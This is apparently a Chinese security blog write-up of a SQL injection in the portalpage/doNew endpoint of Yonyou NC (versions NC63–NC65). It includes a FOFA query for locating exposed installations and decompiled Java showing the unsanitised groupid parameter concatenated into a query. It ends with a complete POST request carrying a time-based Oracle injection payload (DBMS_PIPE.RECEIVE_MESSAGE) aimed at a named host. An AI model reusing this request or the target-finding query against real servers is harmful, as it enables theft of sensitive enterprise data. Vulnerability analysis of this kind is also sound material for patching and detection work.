用友NC portalpage/doNew sql注入漏洞


漏洞简介

用友NC系统可利用/portal/pt/portalpage/doNew接口中的 groupid 参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC63、NC633、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

本来是根据官方漏洞通告追workflowImageServlet和importPml接口的SQL注入,不曾巧发现了同文件里的其他注入点 doNew

因此搜索 doNew 方法的实现部分即可定位文件

nc/uap/portal/action/PortalPageManagerAction.class

package nc.uap.portal.action;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import nc.uap.lfw.core.AppInteractionUtil;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.login.vo.LfwSessionBean;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.constant.PortalEnv;
import nc.uap.portal.exception.PortalServiceException;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.om.Page;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.service.itf.IPtPageQryService;
import nc.uap.portal.util.PmlUtil;
import nc.uap.portal.util.PortalPageDataWrap;
import nc.uap.portal.util.PtUtil;
import nc.uap.portal.vo.PtPageVO;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFBoolean;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.ArrayUtils;
import org.apache.commons.lang.StringUtils;
import org.springframework.web.multipart.MultipartException;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.multipart.MultipartResolver;
import org.springframework.web.multipart.commons.CommonsMultipartResolver;
import org.xml.sax.SAXException;
import uap.lfw.core.ml.LfwResBundle;
import uap.portal.cache.PageCacheHelper;

@Servlet(
    path = "/portalpage"
)
public class PortalPageManagerAction extends BaseAction {
    private static MultipartResolver multipartResolver = new CommonsMultipartResolver();

    public PortalPageManagerAction() {
    }

@Action(
    method = "POST"
)
public void doNew(@Param(name = "groupid") String pk_group, @Param(name = "pml") String pml) {
    LfwSessionBean ses = LfwRuntimeEnvironment.getLfwSessionBean();
    if (pml != null && ses != null) {
        try {
            Page page = PmlUtil.parser(URLDecoder.decode(pml, "UTF-8"));
            String pagename = page.getPagename();
            if (page == null || PtUtil.isNull(pagename)) {
                return;
            }

            IPtPageQryService qry = PortalServiceUtil.getPageQryService();
            PtPageVO[] pages = qry.getPagesByCondition(" pk_group='" + pk_group + "' and pagename='" + pagename + "' and fk_pageuser='*'");
            if (!ArrayUtils.isEmpty(pages)) {
                this.print("<result><success>false</success><detail>" + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PageManagerMainViewController-000030") + "</detail></result>");
                return;
            }

            PtPageVO vo = this.pml2vo(page, pk_group);
            vo.setNewversion("1");
            String pk = PortalServiceUtil.getPageService().add(vo);
            this.print("<result><success>true</success><pk>" + pk + "</pk></result>");
        } catch (UnsupportedEncodingException e) {
            PortalLogger.error(e.getMessage(), e);
        } catch (SAXException e) {
            PortalLogger.error(e.getMessage(), e);
            this.print("<result><success>false</success><detail>" + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000000") + "</detail></result>");
        } catch (BusinessException e) {
            PortalLogger.error(e.getMessage(), e);
            this.print("<result><success>false</success><detail>" + e.getMessage() + "</detail></result>");
        }

        PageCacheHelper.updatePageCache();
    }
}

pml 需要不为空或null,且存在 pagename 节点(XML内容)同时需要有登录权限
groupid 即 pk_group 直接拼接进 getPagesByCondition 语句中,其实现逻辑及其后续处理参考 用友NC setting/renew sql注入漏洞 部分,都是相同的调用处理,这里不再赘述。
最终直接调用 session.executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现

漏洞利用需要注意只能是post方法,且因为 LfwRuntimeEnvironment.getLfwSessionBean() 存在需要登录权限。

POST /portal/pt/portalpage/doNew?pageId=login HTTP/1.0
Host: nc65.mrxn.net
Cookie: JSESSIONID=xx.server
Content-Type: application/x-www-form-urlencoded
Content-Length: 293

groupid=1' AND 3040=DBMS_PIPE.RECEIVE_MESSAGE('RDS',3)--&pml=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cpage+template%3D%22adminonerow%22+version%3D%22101%22++i18nname%3D%22admin-00001%22++visibility%3D%220%22+pagename%3D%22default%22%3E%0D%0A%3C%2Fpage%3E

参考

  • https://security.yonyou.com/#/noticeInfo?id=658
  • https://security.yonyou.com/#/noticeInfo?id=524

手机扫码阅读

用友NC系统影像管理-影像上传 imageupload SQL注入漏洞

用友NC setting/renew sql注入漏洞

评 论